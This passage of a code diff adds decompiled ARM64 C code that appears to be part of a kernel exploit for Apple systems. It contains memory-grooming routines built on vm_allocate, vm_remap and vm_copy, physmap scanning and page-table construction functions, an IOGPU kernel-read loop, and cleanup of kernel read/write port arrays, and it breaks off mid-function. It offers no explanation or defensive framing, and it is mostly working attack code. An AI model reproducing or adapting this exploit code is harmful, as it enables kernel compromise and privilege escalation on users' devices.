+  uint8_t v39[32]; // [xsp+140h] [xbp-250h]
+  __int128 v40; // [xsp+160h] [xbp-230h]
+  __int128 v41; // [xsp+170h] [xbp-220h]
+  __int128 v42; // [xsp+1B0h] [xbp-1E0h]
+  __int128 v43; // [xsp+1D0h] [xbp-1C0h]
+  __int128 v44; // [xsp+1E0h] [xbp-1B0h]
+  __int128 v45; // [xsp+1F0h] [xbp-1A0h]
+  __int128 v46; // [xsp+200h] [xbp-190h]
+  uint8_t address[32]; // [xsp+240h] [xbp-150h] BYREF
+  __int128 v48; // [xsp+260h] [xbp-130h]
+  __int128 v49; // [xsp+270h] [xbp-120h]
+  __int128 v50; // [xsp+280h] [xbp-110h]
+  __int128 v51; // [xsp+290h] [xbp-100h]
+  __int128 v52; // [xsp+2A0h] [xbp-F0h]
+  __int128 v53; // [xsp+2B0h] [xbp-E0h]
+  __int128 v54; // [xsp+2C0h] [xbp-D0h]
+  __int128 v55; // [xsp+2D0h] [xbp-C0h]
+  __int128 v56; // [xsp+2E0h] [xbp-B0h]
+  __int128 v57; // [xsp+2F0h] [xbp-A0h]
+  __int128 v58; // [xsp+300h] [xbp-90h]
+  __int128 v59; // [xsp+310h] [xbp-80h]
+  __int128 v60; // [xsp+320h] [xbp-70h]
+  __int128 v61; // [xsp+330h] [xbp-60h]
+
+  *(uint64_t *)address = 0;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
+  v2 = *(uint64_t *)address;
+  a1[176] = *(uint64_t *)address;
+  a1[172] = v2;
+  *(uint64_t *)address = v2;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
+  thread_switch(0, 2, 0);
+  vm_deallocate(mach_task_self_, a1[7], 0x4000u);
+  a1[7] = 0;
+  vm_remap_inplace(a1[172], 0x4000u, 0);
+  query_vm_region_nesting(a1[172]);
+  *(uint64_t *)address = 0;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000u, 1);
+  v3 = *(uint64_t *)address;
+  a1[175] = *(uint64_t *)address;
+  *(uint64_t *)address = v3;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
+  vm_remap_inplace(a1[175], 0x4000u, 0);
+  *(uint64_t *)address = a1[175] + 0x4000;
+  v4 = *(uint64_t *)address;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
+  thread_switch(0, 2, 0);
+  vm_deallocate(mach_task_self_, a1[9], 0x4000u);
+  a1[9] = 0;
+  vm_copy(mach_task_self_, a1[172], 0xC000u, v4);
+  query_vm_region_nesting(v4);
+  vm_deallocate(mach_task_self_, a1[175] + 49152, 0x4000u);
+  *(uint64_t *)address = a1[172] + 0x4000;
+  v5 = *(uint64_t *)address;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
+  vm_remap_inplace(v5, 0x4000u, 0);
+  *(uint64_t *)address = 0;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
+  v6 = *(uint64_t *)address;
+  a1[173] = *(uint64_t *)address;
+  *(uint64_t *)address = v6;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
+  vm_remap_inplace(a1[173], 0x4000u, 0);
+  *(uint64_t *)address = a1[173] + 0x4000;
+  v7 = *(uint64_t *)address;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
+  vm_remap_inplace(v7, 0x4000u, 0);
+  v8 = a1 + 138;
+  vm_copy(mach_task_self_, a1[139], a1[140], a1[138]);
+  v9 = a1[140];
+  if ( v9 )
+  {
+    v10 = 0;
+    v11 = *v8;
+    v12 = -1;
+    do
+    {
+      v13 = v11 + v10;
+      if ( (*(uint8_t *)(v11 + v10 + 127) & 1) == 0 && (*(uint8_t *)(v13 + 383) & 1) == 0 )
+      {
+        a1[163] = *(uint64_t *)(v13 + 328);
+        v12 = v10;
+      }
+      v10 += 0x4000LL;
+    }
+    while ( v10 < v9 );
+  }
+  else
+  {
+    v12 = -1;
+  }
+  *(uint64_t *)address = 0;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
+  v14 = *(uint64_t *)address;
+  a1[169] = *(uint64_t *)address;
+  *(uint64_t *)address = v14;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
+  vm_remap_inplace(a1[169], 0x4000u, 0);
+  *(uint64_t *)address = a1[169] + 0x4000;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
+  v15 = a1[139] + v12;
+  a1[170] = v15;
+  *(uint64_t *)address = v15 + 0x4000;
+  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
+  v16 = a1[139];
+  v17 = a1[170];
+  v18 = v17 + 49152;
+  v19 = v16 + a1[140] - v17 - 0x4000;
+  vm_deallocate(mach_task_self_, v16, v17 - v16);
+  vm_deallocate(mach_task_self_, v18, v19);
+  vm_deallocate(mach_task_self_, a1[138], a1[140]);
+  *v8 = 0;
+  a1[139] = 0;
+  *(uint64_t *)address = 0;
+  *(__int128 *)&address[16] = 0u;
+  v60 = 0u;
+  v61 = 0u;
+  v58 = 0u;
+  v59 = 0u;
+  v56 = 0u;
+  v57 = 0u;
+  v54 = 0u;
+  *(uint64_t *)&v55 = 0;
+  v52 = 0u;
+  v53 = 0u;
+  v50 = 0u;
+  v51 = 0u;
+  v48 = 0u;
+  v49 = 0u;
+  *(__int128 *)&address[8] = *(__int128 *)byte_42D30;
+  DWORD2(v48) = 100;
+  LODWORD(v53) = 4;
+  HIDWORD(v53) = 16893952;
+  *((uint64_t *)&v55 + 1) = -1;
+  v20 = -256;
+  HIDWORD(v56) = 786560;
+  do
+  {
+    v21 = (__int128 *)(v20 + a1[169]);
+    v21[28] = v58;
+    v21[29] = v59;
+    v21[30] = v60;
+    v21[31] = v61;
+    v21[24] = v54;
+    v21[25] = v55;
+    v21[26] = v56;
+    v21[27] = v57;
+    v21[20] = v50;
+    v21[21] = v51;
+    v21[22] = v52;
+    v21[23] = v53;
+    v21[16] = *(__int128 *)address;
+    v21[17] = *(__int128 *)&address[16];
+    v21[18] = v48;
+    v21[19] = v49;
+    v20 += 256LL;
+  }
+  while ( v20 >> 8 < 0x3F );
+  vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
+  v22 = 0;
+  v23 = a1 + 11;
+  do
+  {
+    vm_deallocate(mach_task_self_, v23[v22], 0x4000u);
+    v23[v22] = 0;
+    v22 += 2;
+  }
+  while ( v22 != 124 );
+  bzero((void *)a1[169], 0x4000u);
+  *(uint64_t *)&v43 = 0;
+  v44 = 0u;
+  *(uint64_t *)&v45 = 0;
+  v46 = 0u;
+  v42 = 0u;
+  v41 = 0u;
+  v24 = a1[163];
+  v25 = (v24 + 0x2400000200LL) >> 6;
+  if ( v24 == -512 )
+    LODWORD(v25) = 0;
+  *(uint32_t *)v39 = v25;
+  *(uint32_t *)&v39[4] = v25;
+  *(__int128 *)&v39[8] = *(__int128 *)byte_42D30;
+  *(uint64_t *)&v39[24] = 0x4000;
+  *(uint64_t *)&v40 = v24 + 512;
+  *((uint64_t *)&v40 + 1) = 0x100000064LL;
+  LODWORD(v41) = 1;
+  HIDWORD(v42) = 1165312;
+  *((uint64_t *)&v43 + 1) = -1;
+  HIDWORD(v44) = 786439;
+  *((uint64_t *)&v45 + 1) = v24 + 184;
+  *(uint64_t *)&v46 = v24 + 184;
+  *(uint64_t *)&v35 = 0;
+  v36 = 0u;
+  *(uint64_t *)&v37 = 0;
+  *((uint64_t *)&v38 + 1) = 0;
+  v34 = 0u;
+  v26 = (v24 + 0x2400000100LL) >> 6;
+  if ( v24 == -256 )
+    LODWORD(v26) = 0;
+  *(uint32_t *)v32 = v26;
+  *(uint32_t *)&v32[4] = v26;
+  *(__int128 *)&v32[8] = *(__int128 *)byte_42D30;
+  *(uint64_t *)&v32[24] = 0x4000;
+  *(uint64_t *)&v33 = 0;
+  *((uint64_t *)&v33 + 1) = 100;
+  LODWORD(v34) = 4;
+  HIDWORD(v34) = 100352;
+  *((uint64_t *)&v35 + 1) = -1;
+  HIDWORD(v36) = 786439;
+  *((uint64_t *)&v37 + 1) = v24 + 3200;
+  *(uint64_t *)&v38 = v24 + 3200;
+  DWORD2(v31) = 0;
+  *(uint64_t *)&v30 = 0;
+  if ( v24 )
+    v27 = (v24 + 0x2400000000LL) >> 6;
+  else
+    v27 = 0;
+  DWORD2(v30) = v27;
+  HIDWORD(v30) = v27;
+  *(uint64_t *)&v31 = v27 | 0x401000100000000LL;
+  HIDWORD(v31) = 4108;
+  v28 = (__int128 *)a1[169];
+  v28[2] = v40;
+  v28[3] = v41;
+  *v28 = *(__int128 *)v39;
+  v28[1] = *(__int128 *)&v39[16];
+  v28[6] = 0u;
+  v28[7] = v42;
+  v28[4] = 0u;
+  v28[5] = 0u;
+  v28[10] = v44;
+  v28[11] = v45;
+  v28[8] = 0u;
+  v28[9] = v43;
+  v28[14] = 0u;
+  v28[15] = 0u;
+  v28[12] = v46;
+  v28[13] = 0u;
+  v28[28] = v38;
+  v28[29] = 0u;
+  v28[30] = 0u;
+  v28[31] = 0u;
+  v28[24] = 0u;
+  v28[25] = v35;
+  v28[26] = v36;
+  v28[27] = v37;
+  v28[20] = 0u;
+  v28[21] = 0u;
+  v28[22] = 0u;
+  v28[23] = v34;
+  v28[16] = *(__int128 *)v32;
+  v28[17] = *(__int128 *)&v32[16];
+  v28[18] = v33;
+  v28[19] = 0u;
+  v28[32] = v30;
+  v28[33] = 0u;
+  v28[34] = v31;
+  return vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
+}
+// 42D30: using guessed type __int128 xmmword_42D30;
+
+//----- (0000000000008DDC) ----------------------------------------------------
+void __fastcall scan_physmap_overlap(uint64_t *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4)
+{
+  char *v8; // x21
+  __int64 v9; // x23
+  unsigned __int64 v10; // x0
+  unsigned __int64 v11; // x8
+  unsigned __int64 v12; // x9
+  unsigned __int64 v13; // x9
+  unsigned __int64 v14; // x8
+  char *v15; // x9
+  unsigned __int64 v16; // x12
+
+  v8 = (char *)malloc(0x4000u);
+  v9 = -(__int64)vm_page_size & a2;
+  if ( v9 )
+  {
+    while ( 1 )
+    {
+      v10 = build_physmap_page_table(a1, v9);
+      if ( v10 )
+        break;
+LABEL_6:
+      v9 -= 0x4000;
+      if ( !v9 )
+        goto LABEL_7;
+    }
+    physmap_read_aligned(a1, v10, v8, 0x4000u);
+    v11 = 0;
+    while ( *(uint32_t *)&v8[v11] != -1459454112 )
+    {
+      v12 = v11 >> 3;
+      v11 += 4LL;
+      if ( v12 >= 0x7FF )
+        goto LABEL_6;
+    }
+    v15 = &v8[v11];
+    v16 = v9 + v11;
+    v14 = ((v9 + v11 + 12) & 0xFFFFFFFFFFFFF000LL)
+        + (((unsigned __int64)*(unsigned int *)&v8[v11 + 16] >> 7) & 0x7FF8)
+        + 2LL * (((*(uint32_t *)&v8[v11 + 12] >> 18) & 0x1800) | (*(uint32_t *)&v8[v11 + 12] >> 5 << 13));
+    v13 = ((v16 - 20) & 0xFFFFFFFFFFFFF000LL)
+        + (((unsigned __int64)*((unsigned int *)v15 - 4) >> 7) & 0x7FF8)
+        + 2LL * (((*((uint32_t *)v15 - 5) >> 18) & 0x1800) | (*((uint32_t *)v15 - 5) >> 5 << 13));
+  }
+  else
+  {
+LABEL_7:
+    v13 = 0;
+    v14 = 0;
+  }
+  *a3 = v14;
+  *a4 = v13;
+  free(v8);
+}
+// 8F08: variable 'vars8' is possibly undefined
+
+//----- (0000000000008F18) ----------------------------------------------------
+void __fastcall scan_physmap_addr_range(uint64_t *a1, __int64 a2, int a3, uint64_t *a4)
+{
+  char *v8; // x21
+  unsigned __int64 v9; // x24
+  __int64 v10; // x22
+  unsigned __int64 v11; // x25
+  __int64 v12; // x23
+  unsigned __int64 v13; // x8
+  unsigned __int64 v14; // x9
+  unsigned __int64 v15; // x8
+
+  v8 = (char *)malloc(0x4000u);
+  if ( a2 == 0x10000000000LL )
+    v9 = 0xFFFF800000000000LL;
+  else
+    v9 = 0xFFFFFF8000000000LL;
+  v10 = (unsigned int)(a3 << 14) + a2;
+  v11 = 50331648;
+  v12 = v10 + 50331648;
+  while ( 2 )
+  {
+    physmap_read_aligned(a1, (v10 + v11) & -(__int64)vm_page_size, v8, 0x4000u);
+    v13 = 0;
+    do
+    {
+      if ( *(uint64_t *)&v8[v13 + 16] == v9 && *(uint64_t *)&v8[v13 + 24] == -1 )
+      {
+        *a4 = v12 + v13;
+        goto LABEL_12;
+      }
+      v14 = v13 >> 3;
+      v13 += 8LL;
+    }
+    while ( v14 < 0x7E3 );
+    v15 = v11 >> 14;
+    v11 += 0x4000LL;
+    v12 += 0x4000;
+    if ( v15 < 0xFFF )
+      continue;
+    break;
+  }
+LABEL_12:
+  free(v8);
+}
+// 9008: variable 'vars8' is possibly undefined
+
+//----- (0000000000009018) ----------------------------------------------------
+void *__fastcall setup_physmap_copy_structure(uint64_t *a1)
+{
+  __int16 v2; // w1
+  __int64 v3; // x1
+  unsigned __int64 v4; // x0
+  unsigned __int64 v5; // x0
+  void *result; // x0
+  __int64 v7; // [xsp+0h] [xbp-200h] BYREF
+  __int64 v8; // [xsp+8h] [xbp-1F8h] BYREF
+  unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF
+  unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF
+  uint8_t iogpuDesc[0xE0]; // [xsp+20h] [xbp-1E0h] BYREF
+  uint8_t physmapDesc[0xE0]; // [xsp+100h] [xbp-100h] BYREF
+  unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF
+  uint32_t v34; // [xsp+1ECh] [xbp-14h] BYREF
+
+  v34 = 0;
+  physmap_read_dword(a1, a1[181], &v34);
+  v33 = 0;
+  scan_physmap_addr_range(a1, a1[180], v34, &v33);
+  memset(physmapDesc, 0, sizeof(physmapDesc));
+  physmap_read_aligned(a1, v33, physmapDesc, sizeof(physmapDesc));
+  v2 = *(int16_t *)&physmapDesc[0x40];
+  a1[164] = *(uint64_t *)&physmapDesc[0x08];
+  a1[165] = a1[182];
+  memset(iogpuDesc, 0, sizeof(iogpuDesc));
+  iogpu_kread_loop(a1, v2, (char *)iogpuDesc, sizeof(iogpuDesc));
+  v3 = *(uint64_t *)&iogpuDesc[0x48];
+  a1[166] = v3;
+  v9 = 0;
+  v10 = 0;
+  scan_physmap_overlap(a1, v3, &v10, &v9);
+  v8 = 0;
+  v4 = build_physmap_page_table(a1, v10);
+  physmap_read_aligned(a1, v4, &v8, 8u);
+  a1[167] = v8;
+  v7 = 0;
+  v5 = build_physmap_page_table(a1, v9);
+  result = physmap_read_aligned(a1, v5, &v7, 8u);
+  a1[168] = v7;
+  return result;
+}
+
+//----- (0000000000009150) ----------------------------------------------------
+__int64 __fastcall reset_physmap_copy_area(__int64 a1)
+{
+  vm_size_t v2; // x2
+  __int64 result; // x0
+  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF
+
+  vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 1080), *(uint64_t *)(a1 + 1096));
+  *(uint64_t *)(a1 + 1080) = 0;
+  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), *(uint64_t *)(a1 + 1088));
+  v2 = *(uint64_t *)(a1 + 1096);
+  address = *(uint64_t *)(a1 + 1088);
+  vm_allocate(mach_task_self_, &address, v2, 0x4000);
+  **(uint8_t **)(a1 + 1088) = 65;
+  result = vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 1088), *(uint64_t *)(a1 + 1096));
+  *(uint64_t *)(a1 + 1088) = 0;
+  return result;
+}
+
+//----- (00000000000091E0) ----------------------------------------------------
+__int64 __fastcall dealloc_krw_port_array(__int64 result, __int64 a2)
+{
+  __int64 v3; // x20
+  unsigned __int64 v4; // x21
+  __int64 v5; // x22
+
+  v3 = result;
+  v4 = 0;
+  v5 = a2 + 20;
+  do
+  {
+    if ( v4 < *(uint64_t *)(a2 + 32) )
+    {
+      (*(void (__fastcall **)(uint64_t, uint64_t))(v3 + 1472))(*(uint64_t *)(v3 + 1488), *(unsigned int *)(v5 + 4 * v4));
+      result = mach_port_deallocate(mach_task_self_, *(uint32_t *)(v5 + 4 * v4));
+      *(uint32_t *)(v5 + 4 * v4) = 0;
+    }
+    ++v4;
+  }
+  while ( v4 != 3 );
+  return result;
+}
+
+//----- (000000000000925C) ----------------------------------------------------
+void __fastcall cleanup_physmap_copy_entries(__int64 a1)
+{
+  __int64 v2; // x22
+  __int64 v3; // x25
+  __int64 v4; // x23
+  uint64_t *v5; // x20
+  __int64 v6; // x27
+  char v7; // w8
+  char v8; // w21
+  vm_address_t *v9; // x20
+  uint64_t v11[2]; // [xsp+8h] [xbp-68h]
+
+  v2 = 0;
+  v3 = a1 + 1128;
+  v4 = a1 + 1168;
+  v11[0] = a1 + 1128;
+  v11[1] = a1 + 1168;
+  while ( 1 )
+  {
+    while ( 1 )
+    {
+      v5 = *(uint64_t **)(v3 + 24);
+      if ( !v5 )
+        break;
+      *(uint64_t *)(v3 + 24) = *v5;
+      (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), v5[3]);
+      vm_deallocate(mach_task_self_, v5[3], 0x4000u);
+      v5[3] = 0;
+      dealloc_krw_port_array(a1, (__int64)(v5 + 2));
+      free(v5);
+    }
+    v6 = 0;
+    v7 = 1;
+    do
+    {
+      v8 = v7;
+      v9 = *(vm_address_t **)(v3 + 8 * v6);
+      dealloc_krw_port_array(a1, (__int64)(v9 + 2));
+      if ( v6 != *(uint64_t *)(v3 + 16) || v3 == v4 )
+      {
+        (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), v9[7]);
+        vm_deallocate(mach_task_self_, v9[7], 0xC000u);
+      }
+      free(v9);
+      v7 = 0;
+      v6 = 1;
+    }
+    while ( (v8 & 1) != 0 );
+    if ( ++v2 == 2 )
+      break;
+    v3 = v11[v2];
+  }
+}
+
+//----- (00000000000093B0) ----------------------------------------------------
+__int64 __fastcall dealloc_physmap_copy_slot(__int64 a1, __int64 a2)
+{
+  __int64 result; // x0
+
+  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), *(uint64_t *)(a2 + 24));
+  vm_deallocate(mach_task_self_, *(uint64_t *)(a2 + 24), 0x4000u);
+  *(uint64_t *)(a2 + 24) = 0;
+  result = vm_deallocate(mach_task_self_, *(uint64_t *)(a2 + 136), 0x18000u);
+  *(uint64_t *)(a2 + 136) = 0;
+  return result;
+}
+
+//----- (0000000000009410) ----------------------------------------------------
+__int64 __fastcall dealloc_physmap_2page_slot(__int64 a1, vm_address_t *a2)
+{
+  __int64 result; // x0
+
+  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[3]);
+  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[8]);
+  vm_deallocate(mach_task_self_, a2[3], 0x4000u);
+  a2[3] = 0;
+  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
+  a2[8] = 0;
+  vm_deallocate(mach_task_self_, a2[17], 0x18000u);
+  a2[17] = 0;
+  result = vm_deallocate(mach_task_self_, a2[18], 0x14000u);
+  a2[18] = 0;
+  return result;
+}
+
+//----- (00000000000094B0) ----------------------------------------------------
+__int64 __fastcall dealloc_physmap_3page_slot(__int64 a1, vm_address_t *a2)
+{
+  __int64 result; // x0
+
+  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[3]);
+  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[8]);
+  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[13]);
+  vm_deallocate(mach_task_self_, a2[3], 0x4000u);
+  a2[3] = 0;
+  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
+  a2[8] = 0;
+  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
+  a2[13] = 0;
+  vm_deallocate(mach_task_self_, a2[17], 0x18000u);
+  a2[17] = 0;
+  vm_deallocate(mach_task_self_, a2[18], 0x14000u);
+  a2[18] = 0;
+  result = vm_deallocate(mach_task_self_, a2[19], 0x10000u);
+  a2[19] = 0;
+  return result;
+}
+
+//----- (0000000000009588) ----------------------------------------------------
+__int64 __fastcall dealloc_iogpu_physmap_2(__int64 a1, uint64_t *a2)
+{
+  __int64 v4; // x20
+  __int64 v5; // x21
+  __int64 result; // x0
+  __int128 v7[16]; // [xsp+0h] [xbp-130h] BYREF
+
+  v4 = *(uint64_t *)(a1 + 1488);
+  (*(void (__fastcall **)(__int64, uint64_t))(a1 + 1464))(v4, a2[8]);
+  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[13]);
+  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
+  a2[8] = 0;
+  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
+  a2[13] = 0;
+  v5 = a2[7] - *(uint64_t *)(a1 + 1344);
+  memset(v7, 0, sizeof(v7));
+  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v5, v7, 256, 1);
+  *((uint64_t *)&v7[4] + 1) = 0;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v5 + 72, (char *)&v7[4] + 8, 8, 1);
+  vm_deallocate(mach_task_self_, a2[20], 0x10000u);
+  a2[20] = 0;
+  vm_deallocate(mach_task_self_, a2[21], 0x10000u);
+  a2[21] = 0;
+  vm_deallocate(mach_task_self_, a2[22], 0x10000u);
+  a2[22] = 0;
+  result = vm_deallocate(mach_task_self_, a2[23], 0x10000u);
+  a2[23] = 0;
+  return result;
+}
+
+//----- (00000000000096D8) ----------------------------------------------------
+__int64 __fastcall dealloc_iogpu_physmap_entry(__int64 a1, uint64_t *a2)
+{
+  __int64 v4; // x20
+  __int64 v5; // x9
+  __int64 v6; // x22
+  __int64 v7; // x21
+  __int64 result; // x0
+  __int128 v9[16]; // [xsp+0h] [xbp-240h] BYREF
+  __int128 v10[16]; // [xsp+100h] [xbp-140h] BYREF
+
+  v4 = *(uint64_t *)(a1 + 1488);
+  (*(void (__fastcall **)(__int64, uint64_t))(a1 + 1464))(v4, a2[13]);
+  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
+  a2[13] = 0;
+  v5 = *(uint64_t *)(a1 + 1344);
+  v6 = a2[2] - v5;
+  v7 = a2[12] - v5;
+  memset(v10, 0, sizeof(v10));
+  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v6, v10, 256, 1);
+  DWORD2(v10[2]) = 3;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v6 + 40, (char *)&v10[2] + 8, 4, 1);
+  memset(v9, 0, sizeof(v9));
+  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v7, v9, 256, 1);
+  *((uint64_t *)&v9[4] + 1) = 0;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v7 + 72, (char *)&v9[4] + 8, 8, 1);
+  vm_deallocate(mach_task_self_, a2[20], 0x4000u);
+  a2[20] = 0;
+  vm_deallocate(mach_task_self_, a2[21], 0x10000u);
+  a2[21] = 0;
+  vm_deallocate(mach_task_self_, a2[22], 0x10000u);
+  a2[22] = 0;
+  vm_deallocate(mach_task_self_, a2[23], 0x10000u);
+  a2[23] = 0;
+  vm_deallocate(mach_task_self_, a2[24], 0x10000u);
+  a2[24] = 0;
+  result = vm_deallocate(mach_task_self_, a2[25], 0x10000u);
+  a2[25] = 0;
+  return result;
+}
+
+//----- (00000000000098A4) ----------------------------------------------------
+__int64 __fastcall dealloc_iogpu_physmap_triple(__int64 a1, uint64_t *a2)
+{
+  __int64 v3; // x20
+  __int64 v4; // x9
+  __int64 v5; // x23
+  __int64 v6; // x22
+  __int64 v7; // x21
+  __int64 result; // x0
+  __int128 v9[16]; // [xsp+0h] [xbp-340h] BYREF
+  __int128 v10[16]; // [xsp+100h] [xbp-240h] BYREF
+  __int128 v11[16]; // [xsp+200h] [xbp-140h] BYREF
+
+  v3 = *(uint64_t *)(a1 + 1488);
+  v4 = *(uint64_t *)(a1 + 1344);
+  v5 = a2[2] - v4;
+  v6 = a2[7] - v4;
+  v7 = a2[12] - v4;
+  memset(v11, 0, sizeof(v11));
+  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v5, v11, 256, 1);
+  *((uint64_t *)&v11[4] + 1) = 0;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v5 + 72, (char *)&v11[4] + 8, 8, 1);
+  memset(v10, 0, sizeof(v10));
+  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v6, v10, 256, 1);
+  *((uint64_t *)&v10[4] + 1) = 0;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v6 + 72, (char *)&v10[4] + 8, 8, 1);
+  memset(v9, 0, sizeof(v9));
+  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v7, v9, 256, 1);
+  *((uint64_t *)&v9[4] + 1) = 0;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 72, (char *)&v9[4] + 8, 8, 1);
+  *((uint64_t *)&v9[3] + 1) = 0;
+  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 56, (char *)&v9[3] + 8, 8, 1);
+  vm_deallocate(mach_task_self_, a2[20], 0x4000u);
+  a2[20] = 0;
+  vm_deallocate(mach_task_self_, a2[26], 0x10000u);
+  a2[26] = 0;
+  vm_deallocate(mach_task_self_, a2[27], 0x10000u);
+  a2[27] = 0;
+  vm_deallocate(mach_task_self_, a2[28], 0x10000u);
+  a2[28] = 0;
+  result = vm_deallocate(mach_task_self_, a2[29], 0x10000u);
+  a2[29] = 0;
+  return result;
+}
+
+//----- (0000000000009AC0) ----------------------------------------------------
+void __fastcall cleanup_physmap_context(__int64 a1)
+{
+  __int64 v2; // x24
+  __int64 v3; // x20
+  vm_address_t **v4; // x27
+  vm_address_t *v5; // x21
+  vm_address_t *v6; // x26
+  uint64_t *v7; // x25
+  __int64 v8; // x9
+  __int64 v9; // x23
+  uint64_t *v10; // x28
+  __int64 v11; // x22
+  __int64 v12; // x21
+  __int64 v13; // x1
+  __int64 v14; // x21
+  vm_address_t *v15; // x21
+  __int64 v16; // [xsp+28h] [xbp-488h]
+  __int64 v17; // [xsp+30h] [xbp-480h]
+  uint64_t *v18; // [xsp+38h] [xbp-478h]
+  __int128 v19[16]; // [xsp+40h] [xbp-470h] BYREF
+  __int128 v20[16]; // [xsp+140h] [xbp-370h] BYREF
+  __int128 v21[16]; // [xsp+240h] [xbp-270h] BYREF
+  __int128 v22[16]; // [xsp+340h] [xbp-170h] BYREF
+  uint64_t v23[2]; // [xsp+440h] [xbp-70h]
+
+  v2 = 0;
+  v3 = *(uint64_t *)(a1 + 1488);
+  v4 = (vm_address_t **)(a1 + 1208);
+  v23[0] = a1 + 1208;
+  v23[1] = a1 + 1240;
+  v16 = a1 + 1240;
+  v17 = a1 + 1208;
+  while ( 1 )
+  {
+    while ( 1 )
+    {
+      v5 = v4[1];
+      if ( !v5 )
+        break;
+      v4[1] = (vm_address_t *)*v5;
+      switch ( v5[1] )
+      {
+        case 1uLL:
+          dealloc_physmap_copy_slot(a1, (__int64)v5);
+          break;
+        case 2uLL:
+          dealloc_physmap_2page_slot(a1, v5);
+          break;
+        case 3uLL:
+          dealloc_physmap_3page_slot(a1, v5);
+          break;
+        case 4uLL:
+          dealloc_iogpu_physmap_2(a1, v5);
+          break;
+        case 5uLL:
+          dealloc_iogpu_physmap_entry(a1, v5);
+          break;
+        case 6uLL:
+          dealloc_iogpu_physmap_triple(a1, v5);
+          break;
+        default:
+          break;
+      }
+      dealloc_krw_port_array(a1, (__int64)(v5 + 2));
+      dealloc_krw_port_array(a1, (__int64)(v5 + 7));
+      dealloc_krw_port_array(a1, (__int64)(v5 + 12));
+      free(v5);
+    }
+    v6 = *v4;
+    v7 = *v4 + 2;
+    v8 = *(uint64_t *)(a1 + 1344);
+    v9 = *v7 - v8;
+    v10 = *v4 + 7;
+    v11 = *v10 - v8;
+    v18 = *v4 + 12;
+    v12 = *v18 - v8;
+    memset(v22, 0, sizeof(v22));
+    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v9, v22, 256, 1);
+    *((uint64_t *)&v22[4] + 1) = 0;
+    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
+      v3,
+      v9 + 72,
+      (char *)&v22[4] + 8,
+      8,
+      1);
+    memset(v21, 0, sizeof(v21));
+    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v11, v21, 256, 1);
+    *((uint64_t *)&v21[4] + 1) = 0;
+    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
+      v3,
+      v11 + 72,
